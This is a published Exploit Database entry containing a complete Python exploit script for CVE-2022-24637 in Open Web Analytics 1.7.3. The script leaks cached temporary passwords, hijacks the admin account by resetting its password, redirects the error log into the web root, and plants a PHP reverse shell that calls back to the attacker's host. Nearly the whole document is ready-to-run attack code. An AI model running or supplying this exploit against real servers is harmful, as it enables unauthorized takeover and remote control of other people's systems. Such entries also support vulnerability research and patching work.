Open Web Analytics 1.7.3 – Remote Code Execution

Exploit Database
118 阅读

作者： Jacob Ebben

日期： 2022-11-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51026/

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# Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)

# Date: 2022-08-30

# Exploit Author: Jacob Ebben

# Vendor Homepage: https://www.openwebanalytics.com/

# Software Link: https://github.com/Open-Web-Analytics

# Version: <1.7.4

# Tested on: Linux

# CVE : CVE-2022-24637

import argparse

import requests

import base64

import re

import random

import string

import hashlib

from termcolor import colored

def print_message(message, type):

if type == 'SUCCESS':

print('[' + colored('SUCCESS', 'green') +'] ' + message)

elif type == 'INFO':

print('[' + colored('INFO', 'blue') +'] ' + message)

elif type == 'WARNING':

print('[' + colored('WARNING', 'yellow') +'] ' + message)

elif type == 'ALERT':

print('[' + colored('ALERT', 'yellow') +'] ' + message)

elif type == 'ERROR':

print('[' + colored('ERROR', 'red') +'] ' + message)

def get_normalized_url(url):

if url[-1] != '/':

url += '/'

if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':

url = "http://" + url

return url

def get_proxy_protocol(url):

if url[0:8].lower() == 'https://':

return 'https'

return 'http'

def get_random_string(length):

chars = string.ascii_letters + string.digits

return ''.join(random.choice(chars) for i in range(length))

def get_cache_content(cache_raw):

regex_cache_base64 = r'\*(\w*)\*'

regex_result = re.search(regex_cache_base64, cache_raw)

if not regex_result:

print_message('The provided URL does not appear to be vulnerable ...', "ERROR")

exit()

else:

cache_base64 = regex_result.group(1)

return base64.b64decode(cache_base64).decode("ascii")

def get_cache_username(cache):

regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'

return re.search(regex_cache_username, cache).group(1)

def get_cache_temppass(cache):

regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'

return re.search(regex_cache_temppass, cache).group(1)

def get_update_nonce(url):

try:

update_nonce_request = session.get(url, proxies=proxies)

regex_update_nonce = r'owa_nonce" value="(\w*)"'

update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)

except Exception as e:

print_message('An error occurred when attempting to update config!', "ERROR")

print(e)

exit()

else:

return update_nonce

parser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')

parser.add_argument('TARGET', type=str,

help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')

parser.add_argument('ATTACKER_IP', type=str,

help='Address for reverse shell listener on attacking machine')

parser.add_argument('ATTACKER_PORT', type=str,

help='Port for reverse shell listener on attacking machine')

parser.add_argument('-u', '--username', default="admin", type=str,

help='The username to exploit (Default: admin)')

parser.add_argument('-p','--password', default=get_random_string(32), type=str,

help='The new password for the exploited user')

parser.add_argument('-P','--proxy', type=str,

help='HTTP proxy address (Example: http://127.0.0.1:8080/)')

parser.add_argument('-c', '--check', action='store_true',

help='Check vulnerability without exploitation')

args = parser.parse_args()

base_url = get_normalized_url(args.TARGET)

login_url = base_url + "index.php?owa_do=base.loginForm"

password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"

update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"

username = args.username

new_password = args.password

reverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'

shell_filename = get_random_string(8) + '.php'

shell_url = base_url + 'owa-data/caches/' + shell_filename

if args.proxy:

proxy_url = get_normalized_url(args.proxy)

proxy_protocol = get_proxy_protocol(proxy_url)

proxies = { proxy_protocol: proxy_url }

else:

proxies = {}

session = requests.Session()

try:

mainpage_request = session.get(base_url, proxies=proxies)

except Exception as e:

print_message('Could not connect to "' + base_url, "ERROR")

exit()

else:

print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")

if 'Open Web Analytics' not in mainpage_request.text:

print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")

elif 'version=1.7.3' not in mainpage_request.text:

print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")

else:

print_message('The webserver indicates a vulnerable version!', "ALERT")

try:

data = {

"owa_user_id": username,

"owa_password": username,

"owa_action": "base.login"

}

session.post(login_url, data=data, proxies=proxies)

except Exception as e:

print_message('An error occurred during the login attempt!', "ERROR")

print(e)

exit()

else:

print_message('Attempting to generate cache for "' + username + '" user', "INFO")

print_message('Attempting to find cache of "' + username + '" user', "INFO")

found = False

for key in range(100):

user_id = 'user_id' + str(key)

userid_hash = hashlib.md5(user_id.encode()).hexdigest()

filename = userid_hash + '.php'

cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename

cache_request = requests.get(cache_url, proxies=proxies)

if cache_request.status_code != 200:

continue;

cache_raw = cache_request.text

cache = get_cache_content(cache_raw)

cache_username = get_cache_username(cache)

if cache_username != username:

print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")

continue;

else:

found = True

break

if not found:

print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")

exit()

cache_temppass = get_cache_temppass(cache)

print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")

if args.check:

print_message('The system appears to be vulnerable!', "ALERT")

exit()

try:

data = {

"owa_password": new_password,

"owa_password2": new_password,

"owa_k": cache_temppass,

"owa_action":

"base.usersChangePassword"

}

session.post(password_reset_url, data=data, proxies=proxies)

except Exception as e:

print_message('An error occurred when changing the user password!', "ERROR")

print(e)

exit()

else:

print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")

try:

data = {

"owa_user_id": username,

"owa_password": new_password,

"owa_action": "base.login"

}

session.post(login_url, data=data, proxies=proxies)

except Exception as e:

print_message('An error occurred during the login attempt!', "ERROR")

print(e)

exit()

else:

print_message('Logged in as "' + username + '" user', "SUCCESS")

nonce = get_update_nonce(update_config_url)

try:

log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename

data = {

"owa_nonce": nonce,

"owa_action": "base.optionsUpdate",

"owa_config[base.error_log_file]": log_location,

"owa_config[base.error_log_level]": 2

}

session.post(update_config_url, data=data, proxies=proxies)

except Exception as e:

print_message('An error occurred when attempting to update config!', "ERROR")

print(e)

exit()

else:

print_message('Creating log file', "INFO")

nonce = get_update_nonce(update_config_url)

try:

data = {

"owa_nonce": nonce,

"owa_action": "base.optionsUpdate",

"owa_config[shell]": reverse_shell

}

session.post(update_config_url, data=data, proxies=proxies)

except Exception as e:

print_message('An error occurred when attempting to update config!', "ERROR")

print(e)

exit()

else:

print_message('Wrote payload to log file', "INFO")

try:

session.get(shell_url, proxies=proxies)

except Exception as e:

print(e)

else:

print_message('Triggering payload! Check your listener!', "SUCCESS")

print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")